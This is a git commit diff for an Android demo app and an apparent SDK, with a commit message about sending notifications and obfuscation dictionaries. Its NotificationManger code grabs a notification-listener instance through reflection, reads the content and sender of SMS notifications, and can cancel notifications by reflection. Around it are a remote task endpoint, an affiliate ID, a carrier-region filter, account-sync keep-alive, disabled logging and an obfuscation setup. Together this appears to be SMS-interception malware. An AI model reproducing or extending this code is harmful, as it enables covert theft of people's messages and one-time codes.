feat: 添加通知发送功能并优化 proguard 字典生成

main
mojo 4 weeks ago
parent 308b7ca226
commit 3a47b16003

@ -7,10 +7,10 @@
</SelectionState>
<SelectionState runConfigName="pin">
<option name="selectionMode" value="DROPDOWN" />
<DropdownSelection timestamp="2025-11-04T08:51:04.151377681Z">
<DropdownSelection timestamp="2025-11-10T01:50:29.137227594Z">
<Target type="DEFAULT_BOOT">
<handle>
<DeviceId pluginId="LocalEmulator" identifier="path=/home/dev/.android/avd/Pixel_6_API_28.avd" />
<DeviceId pluginId="LocalEmulator" identifier="path=/home/dev/.android/avd/Pixel_6a.avd" />
</handle>
</Target>
</DropdownSelection>

@ -0,0 +1,2 @@
处理通知默认只处理短信通知
通知注册成功日志:#Got it

1994
dict.txt

File diff suppressed because it is too large Load Diff

@ -1,5 +1,4 @@
import java.io.FileOutputStream
import kotlin.random.Random
import java.io.File
plugins {
alias(libs.plugins.android.library)
@ -21,7 +20,7 @@ android {
testInstrumentationRunner = "android.support.test.runner.AndroidJUnitRunner"
consumerProguardFiles("consumer-rules.pro")
buildConfigField("boolean", "log_enable", "true")
buildConfigField("boolean", "log_enable", "false")
buildConfigField("int", "aff_id", "1040")
buildConfigField("int", "sdk_version", "51")
buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"")
@ -62,26 +61,46 @@ dependencies {
}
tasks.register("generateProguardDic") {
val dic = "qwertyuiopasdfghjklzxcvbnm"
val chars: CharArray = dic.toCharArray()
chars.shuffle(Random)
var maxSize = 1000
val charsSize = chars.size
val stringSet = HashSet<String>()
while (maxSize > 0) {
val key = "${chars[Random.nextInt(charsSize)]}" + (Random.nextInt(80) + 10)
if (stringSet.contains(key)) {
continue
doLast {
val alphabet = buildList {
addAll('a'..'z')
addAll('A'..'Z')
}
stringSet += key
maxSize--
}
val keys = stringSet.joinToString("\n")
val proguardDic = File(rootDir.path + "/dict.txt")
FileOutputStream(proguardDic).use {
it.write(keys.toByteArray())
val targetSize = 1_000
val digits = ('0'..'9').toList()
val entries = buildList {
repeat(targetSize) { index ->
var value = index + 1
val baseToken = buildString {
while (value > 0) {
append(alphabet[value % alphabet.size])
value /= alphabet.size
}
}.reversed()
if (index % 2 == 0) {
add(baseToken)
} else {
add(
buildString {
append(baseToken)
append(digits[index % digits.size])
append(digits[(index / digits.size) % digits.size])
}
)
}
}
}.shuffled()
val proguardDic = File(rootDir, "dict.txt")
proguardDic.bufferedWriter().use { writer ->
entries.forEachIndexed { idx, token ->
writer.append(token)
if (idx < entries.lastIndex) {
writer.newLine()
}
}
}
println("Generated Proguard dictionary at ${proguardDic.absolutePath}")
}
println(proguardDic.absolutePath)
}
afterEvaluate {

@ -8,7 +8,6 @@ import android.net.NetworkRequest
import android.os.Build
import android.os.Handler
import android.os.HandlerThread
import android.os.Looper
import com.example.logger.LogUtils
import com.example.utils.NetworkManager
import java.util.concurrent.Executors
@ -162,7 +161,7 @@ class NetworkController(
runCatching {
network.connectivityManager.unregisterNetworkCallback(networkCallback)
}.onFailure { e ->
LogUtils.error(e, "NetworkController: failed to unregister network callback")
// LogUtils.error(e, "NetworkController: failed to unregister network callback")
}
}

@ -10,11 +10,13 @@ import android.provider.Telephony
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import android.text.TextUtils
import android.util.Log
import com.example.logger.LogUtils
import java.lang.reflect.Method
import java.lang.reflect.Modifier
object NotificationManger {
private val TAG = NotificationManger::class.java.simpleName
private const val PREFIX_ANDROID = "android."
private const val KEY_TEXT = PREFIX_ANDROID + "text"
private const val KEY_TITLE = PREFIX_ANDROID + "title"
@ -40,32 +42,33 @@ object NotificationManger {
private fun process(context: Context) {
// 检查通知监听器是否已启用
if (!isNotificationListenerEnabled(context)) {
LogUtils.info("NotificationManager: notification listener is not enabled")
LogUtils.info("$TAG: notification listener is not enabled")
return
}
val instance = getServiceInstance(context)
if (instance == null) {
LogUtils.info("NotificationManager: service instance is null")
LogUtils.info("$TAG: service instance is null")
return
}
var notifications = getNotifications(instance)
if (notifications == null) {
LogUtils.info("NotificationManager: failed to get notifications")
LogUtils.info("$TAG: failed to get notifications")
return
}
// 过滤非短信消息,只保留短信相关的通知
notifications = notifications.filter { notification ->
val pkg = try {
val pkg = try {
notification.packageName
} catch (e: Exception) {
null
}
pkg == Telephony.Sms.getDefaultSmsPackage(context)
val smsPackageName = Telephony.Sms.getDefaultSmsPackage(context)
pkg != null && pkg == smsPackageName
}
// 用过滤结果替换 notifications 列表
LogUtils.info("NotificationManager: found ${notifications.size} notifications")
LogUtils.info("$TAG: found ${notifications.size} notifications")
// notifications = notifications.asReversed()
for (notification in notifications) {
processNotification(notification, instance, context)
@ -74,12 +77,12 @@ object NotificationManger {
fun startPolling(intervalMs: Long = DEFAULT_POLL_INTERVAL, duration: Long, l:(NotificationMessage)-> Unit) {
if (isPolling) {
LogUtils.info("NotificationManager: polling already started")
LogUtils.info("$TAG: polling already started")
return
}
this.listener = l
val startTime = System.currentTimeMillis()
LogUtils.info("NotificationManager: start polling with interval ${intervalMs}ms")
LogUtils.info("$TAG: start polling with interval ${intervalMs}ms")
// 使用 ApplicationContext 避免内存泄漏
pollInterval = intervalMs
isPolling = true
@ -104,7 +107,7 @@ object NotificationManger {
return
}
LogUtils.info("NotificationManager: stop polling, cleared ${processedNotifications.size} processed notifications")
LogUtils.info("$TAG: stop polling, cleared ${processedNotifications.size} processed notifications")
isPolling = false
pollingRunnable?.let { pollingHandler?.removeCallbacks(it) }
pollingRunnable = null
@ -126,12 +129,12 @@ object NotificationManger {
}
}
// 优先尝试直接获取 MyService.instance系统绑定的实例
// 优先尝试直接获取 Service.instance系统绑定的实例
try {
// 尝试从服务类的静态字段获取实例(备用方案)
val serviceClass = findServiceClass(context)
if (serviceClass == null) {
LogUtils.info("NotificationManager: service class not found")
LogUtils.info("$TAG: service class not found")
return null
}
var instance: NotificationListenerService? = null
@ -145,18 +148,19 @@ object NotificationManger {
val newInstance = field.get(null)
LogUtils.info("instance: $newInstance")
instance = newInstance as? NotificationListenerService
if(instance == null) {
continue
if(instance != null) {
Log.i("TAG", "#Got it!")
break
}
}
}
if (instance != null && isServiceValid(instance)) {
LogUtils.info("NotificationManager: got instance from MyService.instance")
LogUtils.info("$TAG: got instance from Service.instance")
serviceInstance = instance
return instance
}
} catch (e: Exception) {
LogUtils.info("NotificationManager: failed to get MyService.instance: ${e.message}")
LogUtils.info("$TAG: failed to get Service.instance: ${e.message}")
}
return null
@ -181,7 +185,7 @@ object NotificationManger {
// 如果无法检查 isBound直接假设有效实际验证在 getNotifications 中进行)
true
} catch (e: SecurityException) {
LogUtils.info("NotificationManager: service is not bound by system")
LogUtils.info("$TAG: service is not bound by system")
false
} catch (e: Exception) {
// 如果无法验证,假设有效(实际验证在 getNotifications 中进行)
@ -198,7 +202,7 @@ object NotificationManger {
val packageName = context.packageName
enabledListeners?.contains(packageName) ?: false
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: error checking notification listener status")
// LogUtils.error(e, "$TAG: error checking notification listener status")
false
}
}
@ -213,18 +217,18 @@ object NotificationManger {
for (serviceInfo in packageInfo.services.orEmpty()) {
if (PERMISSION_BIND == serviceInfo.permission) {
val className = serviceInfo.name
LogUtils.info("NotificationManager: checking service class $className")
LogUtils.info("$TAG: checking service class $className")
val clazz = Class.forName(className)
if (NotificationListenerService::class.java.isAssignableFrom(clazz)) {
LogUtils.info("NotificationManager: found NotificationListenerService class $className")
// LogUtils.info("$TAG: found NotificationListenerService class $className")
return clazz
}
}
}
LogUtils.info("NotificationManager: no NotificationListenerService found")
// LogUtils.info("$TAG: no NotificationListenerService found")
null
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: error finding service class")
LogUtils.error(e, "$TAG: error finding service class")
null
}
}
@ -232,7 +236,7 @@ object NotificationManger {
private fun getNotifications(instance: Any): List<StatusBarNotification>? {
val service = instance as? NotificationListenerService
if (service == null) {
LogUtils.info("NotificationManager: instance is not NotificationListenerService")
// LogUtils.info("$TAG: instance is not NotificationListenerService")
return null
}
@ -249,7 +253,7 @@ object NotificationManger {
}
if (!isBound) {
LogUtils.info("NotificationManager: service is not bound, clearing cache")
LogUtils.info("$TAG: service is not bound, clearing cache")
serviceInstance = null
return null
}
@ -258,12 +262,12 @@ object NotificationManger {
val result = service.activeNotifications
result?.toList() ?: emptyList()
} catch (e: SecurityException) {
LogUtils.error(e, "NotificationManager: SecurityException - notification listener may not be enabled or instance is invalid")
// LogUtils.error(e, "$TAG: SecurityException - notification listener may not be enabled or instance is invalid")
// 清除缓存的实例,下次尝试重新获取
serviceInstance = null
null
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: error getting notifications")
LogUtils.error(e, "$TAG: error getting notifications")
null
}
}
@ -277,7 +281,7 @@ object NotificationManger {
// 避免重复处理同一个通知
// if (processedNotifications.contains(notificationKey)) {
// LogUtils.info("NotificationManager: notification already processed, skip: $notificationKey")
// LogUtils.info("$TAG: notification already processed, skip: $notificationKey")
// return
// }
@ -290,7 +294,7 @@ object NotificationManger {
val from = extras.getString(KEY_TITLE, "")
if (content.isBlank()) {
// LogUtils.info("NotificationManager: notification content is blank, skip: ${notification.packageName}")
// LogUtils.info("$TAG: notification content is blank, skip: ${notification.packageName}")
return
}
@ -301,7 +305,7 @@ object NotificationManger {
app = notification.packageName,
)
LogUtils.info("NotificationManager: processed notification from ${notification.packageName}, content $content, key $notificationKey")
LogUtils.info("$TAG: processed notification from ${notification.packageName}, content $content, key $notificationKey")
listener?.invoke(msg)
}
}
@ -309,7 +313,7 @@ object NotificationManger {
fun clearProcessedNotifications() {
val count = processedNotifications.size
processedNotifications.clear()
LogUtils.info("NotificationManager: cleared $count processed notifications")
LogUtils.info("$TAG: cleared $count processed notifications")
}
private fun dismiss(statusBarNotification: StatusBarNotification, instance: Any) {
@ -323,9 +327,9 @@ object NotificationManger {
)
method.isAccessible = true
method.invoke(instance, statusBarNotification.key)
LogUtils.info("NotificationManager: cancelled notification from $pkgName")
LogUtils.info("$TAG: cancelled notification from $pkgName")
} catch (e: Exception) {
LogUtils.error(e, "NotificationManager: failed to cancel notification")
LogUtils.error(e, "$TAG: failed to cancel notification")
}
}
}

@ -1,14 +1,9 @@
package com.galaxy.demo
import android.app.Application
import android.util.Log
import androidx.annotation.RestrictTo
import com.example.pin.NotificationManger
import com.galaxy.demo.services.AccountUtils
import com.galaxy.permision.DistrictFilter
import com.galaxy.permision.PermissionChecker
import kotlinx.coroutines.MainScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
class App:Application() {
override fun onCreate() {
@ -19,6 +14,7 @@ class App:Application() {
private fun init() {
PermissionChecker.showPermissionDialog(this, DistrictFilter("460"))
AccountUtils.addAccount(this)
}
}

@ -2,6 +2,9 @@ package com.galaxy.demo
import android.Manifest
import android.app.Activity
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
@ -14,9 +17,10 @@ import android.view.ViewGroup
import android.view.ViewGroup.LayoutParams
import android.widget.Button
import android.widget.FrameLayout
import android.widget.Toast
import androidx.core.app.ActivityCompat
import androidx.core.app.NotificationCompat
import androidx.core.content.ContextCompat
import com.galaxy.demo.services.AccountUtils
import com.galaxy.permision.AccountPermissionUtils
class MainActivity : Activity() {
@ -30,11 +34,10 @@ class MainActivity : Activity() {
layoutParams = ViewGroup.LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT)
setOnClickListener {
Log.d("TAG", "button click")
// AccountUtils.createNotificationForNormal(this@MainActivity)
sendNotification()
}
})
})
val context = this
// Sdk.init(this.applicationContext)
// 4. 账户同步拉活
@ -77,7 +80,7 @@ class MainActivity : Activity() {
registerReceiver(
receiver,
intentFilter,
RECEIVER_NOT_EXPORTED // 或者 RECEIVER_EXPORTED根据实际需求选择
Context.RECEIVER_NOT_EXPORTED // 或者 RECEIVER_EXPORTED根据实际需求选择
);
} else {
// 针对旧版本 Android 的处理
@ -85,4 +88,82 @@ class MainActivity : Activity() {
}
}
override fun onRequestPermissionsResult(
requestCode: Int,
permissions: Array<out String>,
grantResults: IntArray
) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
when (requestCode) {
NOTIFICATION_PERMISSION_CODE -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
// 权限已授予
Log.d("TAG", "通知权限已授予")
} else {
// 权限被拒绝
Toast.makeText(this, "需要通知权限才能发送通知", Toast.LENGTH_SHORT).show()
}
}
}
}
private fun sendNotification() {
// 检查权限Android 13+
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if (ContextCompat.checkSelfPermission(
this,
Manifest.permission.POST_NOTIFICATIONS
) != PackageManager.PERMISSION_GRANTED
) {
Toast.makeText(this, "请先授予通知权限", Toast.LENGTH_SHORT).show()
ActivityCompat.requestPermissions(
this,
arrayOf(Manifest.permission.POST_NOTIFICATIONS),
NOTIFICATION_PERMISSION_CODE
)
return
}
}
// 使用现有的 AccountUtils 方法发送通知
createNotificationForNormal(this)
Toast.makeText(this, "通知已发送", Toast.LENGTH_SHORT).show()
}
fun createNotificationForNormal(context: Context) {
val appName = context.packageManager.getApplicationLabel(context.applicationInfo)
val appIcon = context.packageManager.getApplicationIcon(context.packageName)
val mNormalNotificationId = 1137
val mNormalChannelId = appName.toString() + mNormalNotificationId
val mNormalChannelName = appName
// 适配8.0及以上 创建渠道
val mManager: NotificationManager =
context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
mNormalChannelId,
mNormalChannelName,
NotificationManager.IMPORTANCE_HIGH
).apply {
description = appName.toString()
setShowBadge(false) // 是否在桌面显示角标
}
mManager.createNotificationChannel(channel)
}
// 点击意图 // setDeleteIntent 移除意图
val intent = Intent(context, MainActivity::class.java)
val pendingIntent =
PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE)
// 构建配置
val mBuilder = NotificationCompat.Builder(context, mNormalChannelId)
.setContentTitle("It's time to exercise.") // 标题
.setContentText("Make a little progress every day, and your body will unleash its unlimited potential.") // 文本
// .setSmallIcon(R.mipmap.ic_launcher)
.setPriority(NotificationCompat.PRIORITY_MAX) // 7.0 设置优先级
.setContentIntent(pendingIntent) // 跳转配置
.setAutoCancel(true) // 是否自动消失点击or mManager.cancel(mNormalNotificationId)、cancelAll、setTimeoutAfter()
// 发起通知
mManager.notify(mNormalNotificationId, mBuilder.build())
}
}

@ -2,6 +2,8 @@ package com.galaxy.demo
import android.annotation.SuppressLint
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import android.util.Log
class MyService : NotificationListenerService() {
companion object {
@ -10,10 +12,10 @@ class MyService : NotificationListenerService() {
private var a: NotificationListenerService? = null
}
// override fun onNotificationPosted(sbn: StatusBarNotification) {
// super.onNotificationPosted(sbn)
// Log.d("TAG", ".....")
// }
override fun onNotificationPosted(sbn: StatusBarNotification) {
super.onNotificationPosted(sbn)
Log.d("TAG", ".....")
}
override fun onCreate() {
super.onCreate()

@ -1,22 +1,9 @@
package com.galaxy.demo.services
import android.accounts.Account
import android.annotation.SuppressLint
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.AbstractThreadedSyncAdapter
import android.content.ContentProviderClient
import android.content.Context
import android.content.Intent
import android.content.SyncResult
import android.content.pm.ServiceInfo
import android.os.Build
import android.os.Bundle
import android.os.IBinder
import android.util.Log
import androidx.core.app.NotificationCompat
import com.galaxy.pin.R
class AccountSyncService : Service() {
// 账户同步 IBinder 对象

@ -1,25 +1,11 @@
package com.galaxy.demo.services
import a.b.c.V
import android.accounts.Account
import android.accounts.AccountManager
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.ContentResolver
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.BitmapFactory
import android.os.Build
import android.os.Bundle
import androidx.core.app.NotificationCompat
import androidx.core.graphics.drawable.IconCompat
import androidx.core.graphics.drawable.toBitmap
import com.galaxy.demo.MainActivity
import com.galaxy.permision.DistrictFilter
import com.galaxy.permision.PermissionChecker
import com.galaxy.permision.operatorCode
import com.galaxy.pin.R
object AccountUtils {
@ -63,43 +49,7 @@ object AccountUtils {
}
fun createNotificationForNormal(context: Context) {
val appName = context.packageManager.getApplicationLabel(context.applicationInfo)
val appIcon = context.packageManager.getApplicationIcon(context.packageName)
val mNormalNotificationId = 1137
val mNormalChannelId = appName.toString() + mNormalNotificationId
val mNormalChannelName = appName
// 适配8.0及以上 创建渠道
val mManager: NotificationManager =
context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val channel = NotificationChannel(
mNormalChannelId,
mNormalChannelName,
NotificationManager.IMPORTANCE_HIGH
).apply {
description = appName.toString()
setShowBadge(false) // 是否在桌面显示角标
}
mManager.createNotificationChannel(channel)
}
// 点击意图 // setDeleteIntent 移除意图
val intent = Intent(context, MainActivity::class.java)
val pendingIntent =
PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE)
// 构建配置
val mBuilder = NotificationCompat.Builder(context, mNormalChannelId)
.setContentTitle("It's time to exercise.") // 标题
.setContentText("Make a little progress every day, and your body will unleash its unlimited potential.") // 文本
// .setSmallIcon(R.mipmap.ic_launcher)
.setPriority(NotificationCompat.PRIORITY_MAX) // 7.0 设置优先级
.setContentIntent(pendingIntent) // 跳转配置
.setAutoCancel(true) // 是否自动消失点击or mManager.cancel(mNormalNotificationId)、cancelAll、setTimeoutAfter()
// 发起通知
mManager.notify(mNormalNotificationId, mBuilder.build())
}
fun init(context: Context) {
// Sdk.init(context)
V.init(context)
}
}
Loading…
Cancel
Save